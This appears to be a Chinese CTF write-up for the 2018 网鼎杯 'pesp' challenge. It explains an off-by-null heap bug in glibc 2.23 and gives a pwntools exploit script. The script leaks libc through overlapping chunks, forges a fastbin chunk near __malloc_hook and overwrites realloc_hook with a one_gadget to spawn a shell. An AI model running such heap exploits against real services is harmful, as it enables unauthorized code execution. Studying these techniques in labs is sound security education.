pesp_off-by-null

1.还是之前的2018网鼎杯的pesp题目。这里假设没有堆溢出,有PIE保护,无法劫持got表。只使用0字节溢出漏洞来获取libc地址,再根据得到的libc地址来更改malloc_hook和realloc_hook里面保存的地址为one_gadget,一步getshell。(realloc_hook为onegadget,malloc_hook为__libc_realloc函数中调整栈帧的地方)

2.先梳理一下0字节溢出漏洞,一般的chunk改内容都是:

1
2
3
#注释头

read(0, chunk_ptr, size);

这样就只能输入size这么大的内容,但是这道题中,在add函数中和change函数中:

img

img

可以看到给chunk添加内容的语句都是:

1
2
3
#注释头

*(itemlist[i].cont + read(0, itemlist[i].cont, len)) = 0;// off by null

这样当我们将chunk内容顶满之后,程序会将chunk指针最后部分再溢出一个字节赋值为0,这就是off-by-null。

由于scanf函数会在末尾自动补\x00,这其实也是一种off-by-null,

1
2
3
4
#注释头

char buf[10];
scanf("10%s",buf);

▲free源码:

1
2
3
4
5
6
7
8
#注释头

if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long ) prevsize));
unlink(av, p, bck, fwd);
}

也就是如果当前chunk的IN_USE位为0,那么就根据当前chunk的pre_size位,找到前一个chunk_pre,将chunk_pre的size位改成size+pre_size,通过Unlink取出chunk_pre,准备合并。(之后的检查代码会再循环,也就是再看chunk_pre的IN_USE位是不是0来判断要不要再向上合并,这里不重要)

所以如果我们通过off-by-null,溢出0到chunk_next的size位中的IN_USE位,那么当前chunk就会被标记为Free,这样在Free(chunk_next)时,就会将chunk和chunk_next合并。如果我们又更改了chunk_next的pre_size位,使它变得更大,那么就可以向上合并更大的chunk块。这就是off-by-null的利用方法,这题中如下:

(需要注意的是,由于溢出的是一个字节而不是一个Bit,所以size一般都设置为0xf0,从而使size位变成0x101,溢出之后进而变成0x100。但如果size最开始设置为0x20,size位就是0x30,溢出0字节就会变成0x00,那样程序照样崩溃。)

(1)先申请四个chunk,分别为chunk0,chunk1,chunk2,chunk3。(chunk3防止合并用)

(2)然后free掉chunk0,(这里chunk0需要足够大,一般得大于0x80,也就是MAX_fastbins),使其进入unsortedbins中。(这里必须free掉chunk0,不然之后修改掉chunk2的pre_size位时,然后free掉chunk2时,程序依据pre_size来判断是否合并时,发现chunk0仍旧处于使用当中,但pre_size包含了chunk0,就会造成程序崩溃)

(3)修改chunk1的最后八个字节,也就是chunk2的pre_size位,使得chunk2的pre_size位的大小为chunk0_size+chunk1_size。

(4)free掉chunk2,使得chunk0,chunk1,chunk2三个chunk作为一个整体被合并之后放入到unsortedbins中,调试过程可以发现,chunk0的size位被修改成了sizeof(chunk0+chunk1+chunk2)。但是这里实际情况中,chunk1并没有被释放,只是它的内存处在被释放的内存中间,依然可以通过chunk1的指针来操作。也就是在这个程序中依旧可以进行edit来修改chunk1,或者show来打印chunk1。

(5)再次申请chunk0大小,这样就会割裂unsortedbins中的remainder为chunk0+new_remainder,把chunk0申请回来,剩下的new_remainder依旧放在unsortedbins中。在unsortedbins中的remainder有个特点,就是该chunk的fd和bk一定指向unsortedbins链表头部,(如果有多个remainder,那么顺序类似于smallbins,依旧可以使用第一个chunk的bk来获取unsortedbins链表头部)

(6)那么现在unsortedbins中有chunk1和chunk2,而chunk1的fd和bk都指向unsortedbins链表头部,并且在程序中chunk1仍旧处于使用状态,fd和bk就是chunk1的data部分。所以show函数就可以打印出chunk1的data部分,从而打印出fd和bk指向的unsortedbins头部链表地址。又由于unsortedbins处在main_arena+0x58位置,而main_arena相对于libc基地址的偏移是固定的,为0x3c4b20(不同glibc版本可能不同,这是libc2.23的),所以这也就间接泄露出了libc基地址。

▲查询main_arena方法:

①工具查询:https://github.com/coldwave96/libcoffset:

②IDA查询:main_arena存储在libc.so.6文件的.data段,使用IDA打开libc文件,然后搜索函数malloc_trim()

img

3.现在有了libc基地址,那么接下来就考虑修改mallo_hook和realloc_hook的值。同样使用0字节溢出漏洞,伪造fakechunk为mallo_hook地址,修改fakechunk从而修改malloc_hook和realloc_hook。这里先忽略上面的,程序中的索引会不太一样。攻击思路如下:

(1)先申请一个较大的chunk,防止和上面的合并

(2)之后的操作方法类似,先申请四个chunk,分别为chunk0,chunk1,chunk2,chunk3。(chunk3防止合并用)

(3)free掉chunk0,使其进入unsortedbins中。修改chunk1的最后八个字节,也就是chunk2的pre_size位,使得chunk2的pre_size位的大小为chunk0_size+chunk1_size。

(4)free掉chunk2,使得chunk0,chunk1,chunk2三个chunk作为一个整体被合并之后放入到unsortedbins中。再free掉chunk1,使其进入fastbins中。这样chunk1即在fastbins中,也处在unsortedbins中。

(5)申请一个特殊大小的chunk块,最小为chunk0_size+0x20,使其的data部分足够大,能够修改掉chunk1的fd位,将chunk1的fd位指向fakechunk,由于需要从size位覆盖到fd,所以需要伪造合法的size,为chunk1_size。

(6)申请两个chunk1大小的chunk_a,chunk_b,这样第一次申请的chunk_a就是从fastbins中回来的chunk1。而chunk_b就是chunk1的fd指向的fakechunk。这样如果将fakechunk放在realloc_hook之前,那么就可以修改掉realloc_hook和malloc_hook,使得realloc_hook指向one_gadget,而malloc_hook指向__libc_libc函数中的某个可以控制栈帧的地址,从而满足gadget条件来getshell。

4.开始编写exp,增删改查函数就不说了:

(1)获取libc基地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#注释头

add(0xf0,'0'*0xf0)
add(0x68,'1'*0x68)#trigger 0ff-by-null
add(0xf0,'2'*0xf0)
add(0x10,'3'*0x10)
#chunk0,chunk1,chunk2,chunk3(防止合并)

delete(0)#防止程序崩溃
edit(1,0x68,flat('1'*0x60,0x170))
#修改chunk2的pre_size,使得chunk0,chunk1,chunk3手牵手进入unsortedbins中
delete(2)
#触发chunk2的pre_size作用

#关键就在这个add,目的就是将unsortedbins的链表头部放到chunk1的fd和bk位
add(0xf0,'x'*0x10)

#现在就可以打印chunk1来获取unsortedbins链表的头部地址,从而计算得到libc地址
show()
libc_address = u64(io.recvuntil("\x7f")[-6: ]+'\0\0')-0x3c4b78
print("libc @ {:#x}".format(libc_address))

(2)伪造fakechunk:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#注释头

add(0x160,'4'*0x160)
#第一个chunk防止合并加程序崩溃

add(0xf0,'a'*0xf0)
add(0x68,'b'*0x68)
add(0xf0,'c'*0xf0)
add(0x10,'d'*0x10)
#四个chunk,套路一样。由于程序编写原因,所以索引变成chunk4,chunk5,chunk6,chunk7,对应上面的chunk0,chunk1,chunk2,chunk3。


delete(4)#防止程序崩溃
edit(5,0x68,flat('b'*0x60,0x170))
#修改chunk2的pre_size,使得chunk0,chunk1,chunk3手牵手进入unsortedbins中
delete(6)
#触发chunk6的pre_size作用

delete(5)
add(0x120,flat('A'*0xf8,0x70,(libc_address+0x3c4aed)))
#使得chunk5进入fastbins,之后修改其fd位,创造一个fakechunk进入fastbins。这里的fakechunk_addr就是libc_address+0x3c4aed。这里的0x70写成0x71也是一样的,因为之后是malloc,不会管chunk的IN_USE位,也就是P位。

(3)申请获得fakechunk,同时修改该fakechunk,劫持malloc_hook和realloc_hook。

1
2
3
4
#注释头

add(0x68,'x'*0x10)
add(0x68,flat('\0'*11,(libc_address+one_gadget),(libc_address+16+libc.sym["__libc_realloc"])))

(4)随便申请一个chunk即可getshell,但是这里不要使用之前我们定义的add函数,因为程序一旦call malloc即可getshell,即运行到输入长度即可,但是我们的add函数中一直运行到输入内容才结束,会导致程序卡住,所以应该是:

1
2
3
4
5
6
#注释头

io.sendlineafter("choice:","2")
io.sendlineafter(":","anything")

io.interactive()

5.这里需要很多调试的步骤:

(1)从最开始打算伪造fakechunk时就应该知道我们的chunk大小应该设置为0x68,因为程序跑起来是0x7f开头,拿来伪造size再合适不过,这样的chunk大小是0x70。而我们又只能用0字节溢出,所以需要将chunk设置到最大,也就是0x70-0x08。

(2)而0xf0可以改变,只要比fastbins_MAX大就行,那么对应的0x170也需要改变,同时也要改变0x120。

(3)申请fakechunk步骤中的’\0’*11也是需要通过调试算出来,方法就是gdb查看realloc_hook-0xxx附近的内存,选择合适的可以伪造size的地址,之后通过填充padding来覆盖realloc_hook和malloc_hook。

(4)onegadget相关的+16也得通过调试才能知道,这里选取的onegadget条件是[rsp+0x30]==Null。所以调试时将断点下在__libc_realloc函数上,进入__libc_realloc函数,从而一直进入到onegadget的执行代码中,如下:

先下断点让程序运行到这img

再输入ni进入:img

这时候就可以看rsp的值了:img

这里的rsp是0x7ffca3331eb8,rsp+0x30=0x7ffca3331ee8,对应图中的值就得是0才满足条件(这里已经计算过了,+16)

▲如果从最开始进入__libc_realloc函数,进入到onegadget中之后,发现条件不满足,那么需要观察前后的值,从而决定从哪里进入__libc_realloc函数才能使得rsp满足。img

因为__libc_realloc(就是realloc)函数有一堆的push和sub操作,少一个push,那么rsp就可以下挪0x08,相当于rsp+0x08,中间还有sub rsp,xxh,相当于上挪rsp。所以决定从哪里进入realloc函数决定了onegadget的成功与否。img

而通过汇编代码可以看到,实际的onegaget是通过0x84724 mov rax,cs:__realloc_hook_ptr传进来,之后由于

1
2
3
4
#注释头

test rax rax
jnz loc_84958

rax不为0,必定跳转loc_84958:

img

这里才是我们选择调用进入onegadget的入口。所以之前在__libc_realloc的计算都是为了调整栈帧,不然其实如果栈帧不用调整就可以满足,那么我们可以直接将malloc_hook改成onegadget也可以直接getshell。因为__libc_malloc函数中的汇编代码也是类似的:

img

而且这还是一个无条件跳转。

img

可以看到有两个push,一个sub rsp,8;两个Pop。相当于只要在call malloc之前,我们的rsp+0x28==NULL即可满足onegadget的rsp+0x30==NULL的条件。当然,以上只是在Libc2.23下的,如果是其它版本的libc就可能不太一样。